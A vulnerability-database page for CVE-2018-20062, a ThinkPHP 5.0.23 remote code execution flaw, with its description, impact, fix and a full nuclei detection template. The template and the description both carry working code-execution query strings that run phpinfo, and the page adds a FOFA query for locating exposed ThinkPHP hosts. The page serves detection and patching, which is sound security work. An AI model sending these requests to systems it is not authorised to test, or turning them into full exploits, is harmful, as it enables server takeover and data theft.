Browse / CVEs / CVE-2018-20062
CVE-2018-20062· 5none / nonecms
ThinkPHP 5.0.23 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
Impact
Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
Fix
Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
How to confirm it
Send: GET {{BaseURL}}?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Positive when: contains "PHP Extension" and "PHP Version" and "ThinkPHP" AND status 200Run it with nuclei: nuclei -id CVE-2018-20062 -u <target>
The full check
id: CVE-2018-20062
info:
name: ThinkPHP 5.0.23 - Remote Code Execution
author: dr_set
severity: critical
description: |
An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
impact: |
Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
remediation: |
Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
reference:
- https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py
- https://github.com/yilin1203/CVE-2018-20062
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-20062
epss-score: 0.9953
epss-percentile: 0.99945
cpe: cpe:2.3:a:5none:nonecms:1.3.0:*:*:*:*:*:*:*
metadata:
vendor: 5none
product: nonecms
fofa-query: app="ThinkPHP"
verified: true
max-request: 1
tags: cve,cve2018,kev,thinkphp,rce,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
- "ThinkPHP"
condition: and
- type: status
status:
- 200References
- https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py
- https://github.com/yilin1203/CVE-2018-20062
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
Use this check only on systems you are authorised to test. Where the data comes from